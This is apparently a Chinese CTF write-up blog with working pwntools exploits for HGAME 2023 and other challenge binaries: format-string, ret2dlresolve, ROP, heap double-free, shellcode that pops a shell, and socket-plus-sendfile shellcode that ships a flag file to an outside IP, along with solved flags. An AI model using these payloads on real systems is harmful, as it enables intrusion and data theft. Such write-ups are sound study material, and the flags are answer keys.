02:0010│        0x7ffdd880a728 —▸ 0x7f2e26822890 —▸ 0x7ffdd89e7000 ◂— jg 0x7ffdd89e7047
03:0018│        0x7ffdd880a730 —▸ 0x7f2e267e54d0 —▸ 0x7f2e265ab000 ◂— 0x3010102464c457f
04:0020│        0x7ffdd880a738 —▸ 0x7f2e26821af0 (_rtld_global+2736) —▸ 0x7f2e267e7000 ◂— 0x3010102464c457f
05:0028│        0x7ffdd880a740 ◂— 0x1efe9660
06:0030│        0x7ffdd880a748 —▸ 0x7ffdd880a740 ◂— 0x1efe9660
07:0038│        0x7ffdd880a750 —▸ 0x7ffdd880a740 ◂— 0x1efe9660
──────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
 ► f 0             0x80
   f 1   0x7f2e267ed24e _dl_fini+526
   f 2   0x7f2e265f0495 __run_exit_handlers+261
   f 3   0x7f2e265f0610 on_exit
   f 4         0x4012c3 sandbox
   f 5   0x7f2e265ed520 __restore_rt
   f 6         0x4013d1 machine+95
   f 7         0x40150a main+227
可以看到时_dl_fini中调用了函数指针，该函数调用部分源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for (i = 0; i < nmaps; ++i)
   {
     struct link_map *l = maps[i];

     if (l->l_init_called)
{
  ...省略

      /* First see whether an array is given.  */
      if (l->l_info[DT_FINI_ARRAY] != NULL)
{
  ElfW(Addr) *array =
    (ElfW(Addr) *) (l->l_addr
    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
    / sizeof (ElfW(Addr)));
  while (i-- > 0)
    ((fini_t) array[i]) ();
}
可以看到我们要调用((fini_t) array[i])()，就得先弄清前面给array赋值和给i赋值的部分，因此来看link_map结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct link_map
{
    ElfW(Addr) l_addr;        /* Difference between the address in the ELF
                   file and the addresses in memory.  */
    char *l_name;        /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;        /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
 
     /* All following members are internal to the dynamic linker.
       They may change without notice.  */
 
    /* This is an element which is only ever different from a pointer to
       the very same copy of this type for ld.so when it is used in more
       than one namespace.  */
    struct link_map *l_real;
    ......
};
可以看到第一个成员就是l_addr，也就是我们修改的部分。然后调试查看l->l_info[DT_FINI_ARRAY]->d_un.d_ptr和l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val的值，其中DT_FINI_ARRAY = 26 DT_FINI_ARRAYSZ = 28，而d_un为一个共用体，有两个成员d_ptr和d_val。
1
2
3
4
5
6
7
8
9
$5 = {
  l_addr = 16,
  l_name = 0x7fc3d13e2888 "",
  l_ld = 0x403d88,
  l_next = 0x7fc3d13e2890,
  ...
  l_info = {0x0, 0x403d88, 0x403e68, 0x403e58, 0x0, 0x403e08, 0x403e18, 0x403e98, 0x403ea8, 0x403eb8, 0x403e28, 0x403e38, 0x403d98, 0x403da8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x403e78, 0x403e48, 0x0, 0x403e88, 0x403ed8, 0x403db8, 0x403dd8, 0x403dc8, 0x403de8, 0x0, 0x403ec8, 0x0, 0x0, 0x0, 0x0, 0x403ef8, 0x403ee8, 0x0, 0x0, 0x403ed8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x403f08, 0x0 25 times>, 0x403df8},
  ...
}
因此l->l_info[DT_FINI_ARRAY]->d_un.d_ptr为0x403d78，l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val为8，最后调用位置为0x403d90所指向的地址0x80（其实做的时候直接对比下两次不同输入的暂停地址就行了，不需要分析这么多
因此我们可以通过格式化字符串修改偏移到bss段上buf位置，就可以控制指向任意位置，直接指向shellcode位置然后顺便在sprintf中触发异常信号处理绕过沙箱getshell。（在写shellcode的时候应该注意不要在shellcode中出现\0，因为sprintf会进行0截断，要赋值0直接异或就行了）
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
from pwn import*
context(arch='x86_64',log_level = 'debug')


#io = remote('localhost',34657)
io = process('./broken_machine')

attach(io, 'b machine')
pause()

io.recvuntil(b'Hi there! I\'ve made a shellcode machine. Could you please input you code to test my machine? Thank you!\n')
shellcode = '''
    mov rax, 0xff978cd091969dd0
    xor rax, -1
    push rax
    mov rdi, rsp
    mov rsi, r12
    mov rdx, r12
    mov rax, r12
    mov al, 0x3b
    syscall
'''
shellcode = asm(shellcode)
io.sendline(b'%1188c%35$hn'+shellcode.ljust(0xf0, b'A')+b'%100000c'+p64(0x104a4))

io.interactive()
twins
checksec看到只开了NX，程序是一个简单的栈溢出程序，除此之外还给出了一个py文件。
不考虑py文件的话直接ret2libc就可以解决，但那是不可能的
观察python文件种如下函数
1
2
3
4
5
6
7
8
9
10
11
while a1 and a2:
    line = sys.stdin.buffer.readline()
    out1, a1 = interact(p1, line)
    out2, a2 = interact(p2, line)
    if out1 != out2:
        print("Output conflict!", flush=True)
        print(f'process 1: {out1}', flush=True)
        print(f'process 2: {out2}', flush=True)
        break
    else:
        print(out1[:-1].decode(), flush=True)
远程会同时运行p1，p2两个进程，上述函数表示程序的输出只能一致，否则直接结束，因此考虑到ret2libc必须要泄露libc，而两个程序的libc基址由于存在ASLR机制，因此不可能一致。所以我们可以把这个程序看作一个无输出的栈溢出程序，考虑ret2dlresolve，构造的时候发现工具构造打不通，所以网上随便找个模板然后改下某些值直接用（主要还是因为我是langou，不想自己写
exp：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'

p = process('./twins')
#p = remote("localhost",43677)
elf = ELF('./twins')
libc=  ELF('./libc-2.31.so')

#attach(p)
#pause()

def build_fake_link_map(elf,fake_linkmap_addr,one_got,offset):
target_addr = fake_linkmap_addr-8       #the result you write in
linkmap = p64(offset & (2**64-1))       #l_addr
linkmap = linkmap.ljust(0x68,b'\x00')
linkmap += p64(fake_linkmap_addr)       #l_info[5] dynstr
linkmap += p64(fake_linkmap_addr+0x100) #l_info[6] dynsym
linkmap = linkmap.ljust(0xf8,b'\x00') 
linkmap += p64(fake_linkmap_addr+0x110) #l_info[23] jmprel
linkmap += p64(0)+p64(one_got-8)        #dynmic symtab
linkmap += p64(0)+p64(fake_linkmap_addr+0x120) #dynmic jmprel
linkmap += p64(target_addr-offset)+p64(7)+p64(0) #fake_jmprel
return linkmap

plt0 = elf.get_section_by_name('.plt').header.sh_addr
fake_link_map_addr = 0x00404000 +0x500
fake_link_map = build_fake_link_map(elf,fake_link_map_addr,elf.got['gets'],libc.sym['system']-libc.sym['gets'])
sh_addr = fake_link_map_addr + len(fake_link_map)
prdi = 0x401283
prsi_r15 = 0x401281
payload = 0x18*b'\x00'+p64(prdi)+p64(fake_link_map_addr)+p64(elf.plt['gets'])
payload += p64(prdi) + p64(sh_addr) + p64(plt0+6)+p64(fake_link_map_addr)+p64(0)
payload = payload.ljust(0x200,b'\x00')
p.sendline(payload)

payload = fake_link_map+b'cat flag\x00'
p.sendline(payload)

p.interactive()
ezshellcode
比赛期间只做出了一半，另一半死活做不出来，感觉bb已经提示到就差把flag直接喂给我了😂，还是我知识面狭窄了，做这题之前连socket都不会用，侧信道爆破也不是很了解（虽然之前见过
先checksec看到保护全开，seccomp-tools看到接收完输入后就留了三个可用的系统调用
1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000028  if (A == sendfile) goto 0009
 0006: 0x15 0x02 0x00 0x00000029  if (A == socket) goto 0009
 0007: 0x15 0x01 0x00 0x0000002a  if (A == connect) goto 0009
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL
然后开IDA找漏洞点，在o0o0o000o()函数中，我们可以发现出题人故意把两个文件描述符和两个缓冲区写的很像flag1  flagl  buf1  bufl，然后就可以发现程序没有关闭flag2的文件描述符，而且没有清空flag1在栈中的缓存。因此根据剩下的系统调用基本确定flag1要用侧信道爆破（至于怎么爆，这思路确实sao），flag2要直接socket connect sendfile到本机。
flag2
知道如何得到flag2了，那剩下的就是函数参数的设置问题了，可以自己先在本机上test一下，test程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

int main()
{
        int soc_fd = socket(2, 1, 0);

        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(6789);                            //确定端口号
        addr.sin_addr.s_addr = inet_addr("127.0.0.1");      //确定ip地址

        int fd = connect(soc_fd, (struct sockaddr*)&addr, 0x10);

        off_t offset = 0;
        char buffer[0x50];

        int flag1 = open("./flag1", 0);
        read(flag1, buffer, 0x10);
        int n = sendfile(soc_fd, flag1, &offset, 0x50);
        close(flag1);
        return 0;

}
然后我们在本机上nc -lp 6789就可以接收到了
最后可以直接调试这个程序，把打远程要用的参数直接复制过去，要打远程貌似还得有个外网ip，然后把上面程序中的ip和端口改成外网ip就行了，至于shellcode的编写，我是这样写的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
shellcode = '''
    /* socket(2, 1, 0) */
    mov al, 41
    mov edi, 2
    inc esi
    syscall

    /* connect(soc_fd, &addr, addr_len) */
    mov edi, eax
    add cl, 0x25
    mov rsi, rcx
    mov dx, 0x10
    mov al, 42
    syscall

    /* sendfile(soc_fd, 4, &offset, len) */
    mov rsi, 4
    lea rdx, [rcx+0x2090]
    mov r10, r11
    mov al, 40
    syscall
'''
io.send(asm(shellcode).ljust(0x30, b'\x00')+p64(0xaa99ec73ced40002)+p64(0))   #后面加的是要connect的地址
flag1
虽然我知道这个flag要用侧信道出，但是我前面的思路基本上都是错的。网上很多都是利用recv(timeout)判断的，但是这个题把所有流(stdin, stdout, stderr)都关闭了，因此用一般的方法根本判断不了。还是要用题目中的系统调用来判断，具体判断原理是当程序进入循环的话，程序不会终止，因此与远程的connect也不会断开，而直接退出就会断开。具体可以用nc连接本机尝试nc -lp 6789监听本机6789端口，然后nc 127.0.0.1 6789连接本机，然后退出一方看另一方的变化（这个点也是bb提示的，不如说已经不叫提示了，叫明示了，我对nc的使用还停留在nc ip port），退出和进入循环返回的信息是不一样的。（事实上在被提示完之后，我是又写了一个服务端用socket来接收，因为我pwntools不会process(["nc", "-lp", "6789"])。🐎的，真shabi啊，我究竟在干神么
那思路就基本确定了，**编写shellcode连接到本机，然后根据连接的状态来判断程序是进入循环还是退出。**但这里还有一个地方我弄的不对，就是如何回到栈，我使用了_environ变量，因为mmap的位置恰好和ld位置相邻，然后中间就没有ASLR产生的偏移，但是我尝试之后发现不对，应该是因为小版本的偏移也会有一定变化。这里在bb的明示下，知道了还可以用段寄存器来回到栈，之前从来没注意过。最后本地复现基本可以爆出来flag，虽然会有一点误差，但基本准确。总之学到了很多，还是太菜了
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
from pwn import*
import time
context(arch='amd64')

#侧信道爆破

def pwn(pos, char):
    global p
    global q
    #p = remote('pwn.blackbird.wang', 9550)
    q = process(["nc", "-lp", "6789"])
    p = process('./main')
    #attach(p)
    #pause()
    shellcode = f'''
                mov rsp, fs:[0x300]
                
                mov al, 0x29
                mov dil, 2
                mov sil, 1
                syscall

                xchg edi, eax;
                mov rbx, 0x100007f851a0002
                push rbx
                
                mov al, 0x2a
                mov dl, 0x10;
                push rsp;
                pop rsi;
                syscall
                
                sub sp, 2136
                mov dl,byte ptr [rsp+{pos}]
                mov cl,{ord(char)}
                cmp dl,cl
                jz loop
                mov al,0x3c
                syscall
                loop:
                jmp loop
                '''
    p.send(asm(shellcode))

string = "!#$%&-_0123456789?=@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz{}|"
flag = ""
for pos in range(0x20):
    for char in string:
        pwn(pos, char)
        sleep(0.2)
        if q.poll() is None:
            p.close()
            q.close()
            break
        else:
            p.close()
            q.close()
            continue
    flag+=char
    print(flag)
print(flag)
测试的flag是flag1{this_is_flag1}，sleep(0.1)爆出来是flag1{Dhis_is_f3ag1}，sleep(0.2)就完全爆出来了。远程的话sleep时长再改大点应该就没问题了。
ezbook
似乎是一道线程竞争的题


Hgame 2023 pwn部分wp
2024-01-15T13:00:00.000Z
week1
pwn
test_nc
nc即得flag
easy_overflow
简单的ret2text，但程序会关闭标准输出，百度搜了下，发现可以重定位stdout到stderr，然后就可以得到flag了
1
2
3
4
5
6
7
#!/usr/bin/env python3
from pwn import*

io = remote('week-1.hgame.lwsec.cn',32147)
#io = process('./vuln')
io.send(b'A'*0x18+p64(0x40117e))
io.interactive()
choose_the_seat
checksec看到只开了NX
在if判断看到判断条件不严格，没有判断负数的情况，导致可以越界修改got表。
为了便于进行后续操作，我们先将exit函数的got表项改为vuln函数地址，这样就可以无限执行vuln函数了。
然后需要泄露libc,由于题目已经给出了libc文件，知道要覆盖项的偏移后，部分覆盖然后就可以打印出libc，计算得到libc基址。最后直接修改puts函数got表为system函数即可，最后写一个/bin/sh\x00即可getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = remote('week-1.hgame.lwsec.cn',32073)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

io.recvuntil(b'one.\n')
io.sendline(b'-6')
io.recvuntil(b'name\n')
io.send(p64(0x4011d6))

io.recvuntil(b'one.\n')
io.sendline(b'-8')
io.recvuntil(b'name\n')
io.send(b'\xd0')
io.recvuntil(b'Your name is ')
setbuf = u64(io.recv(6).ljust(8,b'\x00'))
print('setbuf ===> '+hex(setbuf))
libcbase = setbuf - libc.symbols['setbuf']
print('libcbase ===> '+hex(libcbase))

sys = libcbase + libc.symbols['system']

#attach(io)
#pause()
io.recvuntil(b'one.\n')
io.sendline(b'-9')
io.recvuntil(b'name\n')
io.send(b'A'*8+p64(sys))

io.sendline(b'0')
io.sendline(b'/bin/sh\x00')

io.interactive()
orw
checksec看到只开了NX，seccomp-tools看到禁用了execve，那就只能orw了。
发现溢出大小不足，因此泄露libc后在bss段上找一块位置写下payload，然后leave_ret栈迁移到该位置即可得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from pwn import*
#context.log_level = 'debug'

io = remote('week-1.hgame.lwsec.cn',30241)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

vuln = 0x4012c4
pop_rdi = 0x401393
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
io.recvline()
#io.recvuntil(b'task.\n')
payload1 = b'A'*0x108+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.send(payload1)
puts = u64(io.recv(6).ljust(8,b'\x00'))
print('puts ===> '+hex(puts))

libcbase = puts - libc.symbols['puts']
print('libcbase ===> '+hex(libcbase))

pop_rsi = libcbase + 0x2601f
pop_rdx = libcbase + 0x142c92
leave_ret = 0x4012be
bss = 0x404100
open_ = libcbase + libc.symbols['open']
read_ = libcbase + libc.symbols['read']

#attach(io,'b vuln')
#pause()
payload2 = b'A'*0x108+p64(pop_rsi)+p64(bss)+p64(read_)+p64(vuln)+p64(vuln)
io.send(payload2)
sleep(1)
payload3 = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(10)+p64(read_)  \
           +p64(pop_rdi)+p64(bss+0x100)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)  \
           +p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(0x100)+p64(read_) \
           +p64(pop_rdi)+p64(bss+0x100)+p64(puts)
io.send(payload3)
sleep(1)
payload4 = b'A'*0x100+p64(bss-8)+p64(leave_ret)*5
io.send(payload4)
sleep(1)
io.send(b'./flag')

io.interactive()
simple_shellcode
checksec看到保护全开，seccomp-tools看到禁用了execve，orw即可。
程序会使用mmap函数开辟一块可读可写可执行的空间，并且在读取后会跳到该位置执行shellcode，但是read的太小，因此我们可以在这一小段shellcode里面继续调用read函数对该区域进行大量写入，程序即可顺序执行orw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import*

io = remote('week-1.hgame.lwsec.cn',30159)
#io = process('./vuln')
elf = ELF('./vuln')

io.recvuntil(b'shellcode:')

shellcode = '''
/* read(fd=0, buf=0xcafe0000, nbytes=0x1000) */
    xor ebx, ebx
    mov ecx, 0xcafe0000
    xor edx, edx
    mov dh, 0x1000 >> 8
    /* call read() */
    push SYS_read /* 3 */
    pop eax
    int 0x80
    '''

#attach(io, 'b *0xcafe0000')
#pause()
print(shellcraft.read(0,0xcafe0000,0x1000))
print(len(asm(shellcode)))
io.send(asm(shellcode))

shellcode = b'A'*16
shellcode+=asm(shellcraft.read(0,0xcafe0500,0x10))
shellcode+=asm(shellcraft.open(0xcafe0500,0,0))
shellcode+=asm(shellcraft.read(3,0xcafe0500,0x30))
shellcode+=asm(shellcraft.write(1,0xcafe0500,0x30))
io.send(shellcode)
sleep(1)
io.send(b'./flag')

io.interactive()
reverse
test_your_IDA
用IDA打开即得flag
hgame{te5t_y0ur_IDA}
easyasm
记事本打开看到汇编，分析汇编可得程序逻辑为对每一位与 0x33进行异或，直接异或解密得到flag
hgame{welc0me_t0_re_wor1d!}
easyenc
IDA打开看到主要逻辑为
1
2
3
4
5
6
7
8
9
10
11
12
while ( 1 )
    {
      v5 = (*((_BYTE *)v10 + v3) ^ 0x32) - 86;//对每一位进行改加密
      *((_BYTE *)v10 + v3) = v5;
      if ( *((_BYTE *)v8 + v3) != v5 )
        break;
      if ( ++v3 >= 41 )
      {
        v6 = "you are right!";
        goto LABEL_8;
      }
    }
直接python解密
1
2
3
enc = [0x4,0xff,0xfd,0x9,0x1,0xf3,0xb0,0x0,0x0,0x5,0xf0,0xad,0x7,0x6,0x17,0x5,0xeb,0x17,0xfd,0x17,0xea,0x1,0xee,0x1,0xea,0xb1,0x5,0xfa,0x8,0x1,0x17,0xac,0xec,0x1,0xea,0xfd,0xf0,0x5,0x7,0x6]
for i in enc:
    print(chr(((i+86)%0x100)^0x32),end='')
hgame{4ddit1on_is_a_rever5ible_0peration}
a_cup_of_tea
程序为tea加密，但改了里面的delta，并且把加密时的sum+=delta改成了sum-=delta
c脚本为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include

void decrypt(unsigned int* v, unsigned int* k) {
    unsigned int v0 = v[0], v1 = v[1], sum = 0, i;  /* set up */
    unsigned int delta = 0x543210dd;                     /* a key schedule constant */
    sum -= delta*32;   
    unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 32; i++) {                         /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum += delta;
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;  
}

int main()
{
    unsigned int buf[9] = { 0x2e63829d,0xc14e400f,0x9b39bfb9,0x5a1f8b14,0x61886dde,0x6565c6cf,0x9f064f64,0x236a43f6,0};
    unsigned int key[4] = { 0x12345678,0x23456789,0x34567890,0x45678901};

    decrypt(buf+4+2, key);
    decrypt(buf+4, key);
    decrypt(buf + 2, key);
    decrypt(buf, key);
    puts(buf);
}
hgame{Tea_15_4_v3ry_h3a1thy_drlnk}
encode
主要逻辑为：
1
2
3
4
5
for ( i = 0; i < 50; ++i )
  {
    v4[2 * i] = v5[i] & 0xF;
    v4[2 * i + 1] = (v5[i] >> 4) & 0xF;
  }
对每次结果及下一位和0xf进行与操作，每次加密两位
python脚本为
1
2
3
4
5
6
7
8
enc = [8, 6, 7, 6, 1, 6, 0xD, 6, 5, 6, 0xB, 7, 5, 6, 0xE, 6, 3, 6, 0xF, 6, 4, 6, 5, 6, 0xF, 5, 9, 6, 3, 7,
 0xF, 5, 5, 6, 1, 6, 3, 7, 9, 7, 0xF, 5, 6, 6, 0xF, 6, 2, 7, 0xF, 5, 1, 6, 0xF, 5, 2, 7, 5, 6, 6, 7,
 5, 6, 2, 7, 3, 7, 5, 6, 0xF, 5, 5, 6, 0xE, 6, 7, 6, 9, 6, 0xE, 6, 5, 6, 5, 6, 2, 7, 0xD, 7, 0]

for i in range(0,len(enc),2):
    for j in range(48,126):
        if j&0xf ==enc[i] and (j>>4)&0xf == enc[i+1]:
            print(chr(j),end='')
hgame{encode_is_easy_for_a_reverse_engineer}
week2
pwn
YukkuriSay
checksec看到只开了NX和canary
IDA打开，刚看到还是比较懵，只有一次格式化字符串的机会，要改got表的话后面没有执行的函数。之后发现可以泄露出libc偏移和栈地址，然后修改vuln函数返回地址为one_gadget即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from pwn import*
context(log_level = 'debug',arch='amd64')

io = remote('week-2.hgame.lwsec.cn',32483)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

#泄露出libc
io.recvuntil(b'say?\n')
payload1 = b'A'*0x98
io.send(payload1)
io.recvuntil(b'\x20'*14+b'\x7c\x20AA')
io.recvuntil(b'\x20'*14+b'\x7c\x20AA')
io.recvuntil(b'\x20'*14+b'\x7c\x20AA')
io.recvuntil(b'\x20'*14+b'\x7c\x20AA')
libcbase = u64(io.recv(6).ljust(8,b'\x00'))-0x1ed5c0
print('libcbase ===> '+hex(libcbase))
io.recvuntil(b'(Y/n)\n')
io.sendline(b'y')

#泄露出栈地址
payload2 = b'A'*0x100
io.send(payload2)
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
ret = u64(io.recv(6).ljust(8,b'\x00'))-8
print('ret ===> '+hex(ret))
io.recvuntil(b'(Y/n)\n')
io.sendline(b'y')

#one_gadget
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
payload3 = fmtstr_payload(8,{ret:(libcbase+one_gadget[1])},write_size='byte')
io.send(payload3)
io.recvuntil(b'(Y/n)\n')
io.sendline(b'n')
io.send(payload3)

io.interactive()
editable_note
checksec看到保护全开
delete里面UAF，而且可以edit。思路很明显就是先通过unsorted bin泄露libc，然后one_gadget打hook，或者修改__free_hook为system，然后free掉存储/bin/sh\x00的堆块，虽然它是libc-2.31.so，但是tcache内堆块的key可以改掉。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
from pwn import*
context.log_level='debug'

io = remote('week-2.hgame.lwsec.cn',32037)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

def DEBUG():
    attach(io, 'set resolve-heap-via-heuristic on')
    pause()

def menu(choice):
    io.recvuntil(b'Exit\n>')
    io.sendline(str(choice).encode())

def add(index,size):
    menu(1)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())

def delete(index):
    menu(2)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

def edit(index,content):
    menu(3)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Content: ')
    io.send(content)

def show(index):
    menu(4)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

for i in range(9):
    add(i,0x90)  #0 1 2 3 4 5 6 7 8
for i in range(8):
    delete(i)

#泄露libc
show(7)
libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ecbe0
print('libcbase ===> '+hex(libcbase))
free_hook = libcbase + libc.symbols['__free_hook']
sys = libcbase + libc.symbols['system']

edit(6, p64(free_hook)+p64(0))
add(9,0x90)
add(10,0x90)          #free_hook块
edit(10,p64(sys))
edit(0,b'/bin/sh\x00')
delete(0)

#DEBUG()

io.interactive()
fast_note
checksec看到保护只开了canary和NX
libc-2.23.so没有tcache，IDA看到程序中没有edit功能，在添加堆块时会进行一次写。而且有一个UAF。
思路就是先泄露libc，然后fastbin attack打__malloc_hook-0x23，同时配合__libc_realloc函数调整栈帧，在__realloc_hook中填入one_gadget。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

io = remote('week-2.hgame.lwsec.cn',31808)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.23.so')

def DEBUG():
    attach(io, 'set resolve-heap-via-heuristic on')
    pause()

def menu(choice):
    io.recvuntil(b'Exit\n>')
    io.sendline(str(choice).encode())

def add(index,size,content):
    menu(1)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())
    io.recvuntil(b'Content: ')
    io.send(content)

def delete(index):
    menu(2)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

def show(index):
    menu(3)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

add(0,0x90,b'AAAA')
add(1,0x60,b'AAAA')
delete(0)
show(0)

libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c4b78
print('libcbase ===> '+hex(libcbase))
sys = libcbase + libc.symbols['system']
malloc_hook = libcbase + libc.symbols['__malloc_hook']
print('__malloc_hook ===> '+hex(malloc_hook))
realloc = libcbase + libc.symbols['__libc_realloc']
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

add(2,0x60,b'AAAA')
delete(1)
delete(2)
delete(1)          #double free
add(3,0x60,p64(malloc_hook-0x23))
add(4,0x60,b'AAAA')
add(5,0x60,b'AAAA')
add(6,0x60,b'A'*11+p64(libcbase+one_gadget[3])+p64(realloc+11))

menu(1)
io.recvuntil(b'Index: ')
io.sendline(b'7')
io.recvuntil(b'Size: ')
io.sendline(str(0x60).encode())

#DEBUG()

io.interactive()
new_fast_note
checksec看到保护全开，这道题和上道题相比就是换了个高版本的libc。
思路和上道题一样，甚至不需要realloc函数调整栈帧（我竟然不知道已经分配过内存的index可以再分配，在这里浪费了贼多时间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

io = remote('week-2.hgame.lwsec.cn',31722)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

def DEBUG():
    attach(io, 'set resolve-heap-via-heuristic on')
    pause()

def menu(choice):
    io.recvuntil(b'Exit\n>')
    io.sendline(str(choice).encode())

def add(index,size,content):
    menu(1)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())
    io.recvuntil(b'Content: ')
    io.send(content)

def delete(index):
    menu(2)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

def show(index):
    menu(3)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

for i in range(8):
    add(i,0x90,b'A')       #0 1 2 3 4 5 6 7
add(19, 0x60, b'A')     #19  避免unsorted bin和top chunk合并
for i in range(8):
    delete(i)
add(18, 0x60, b'A')      #为fastbin double free作准备
show(7)

libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ecc41
print('libcbase ===> '+hex(libcbase))
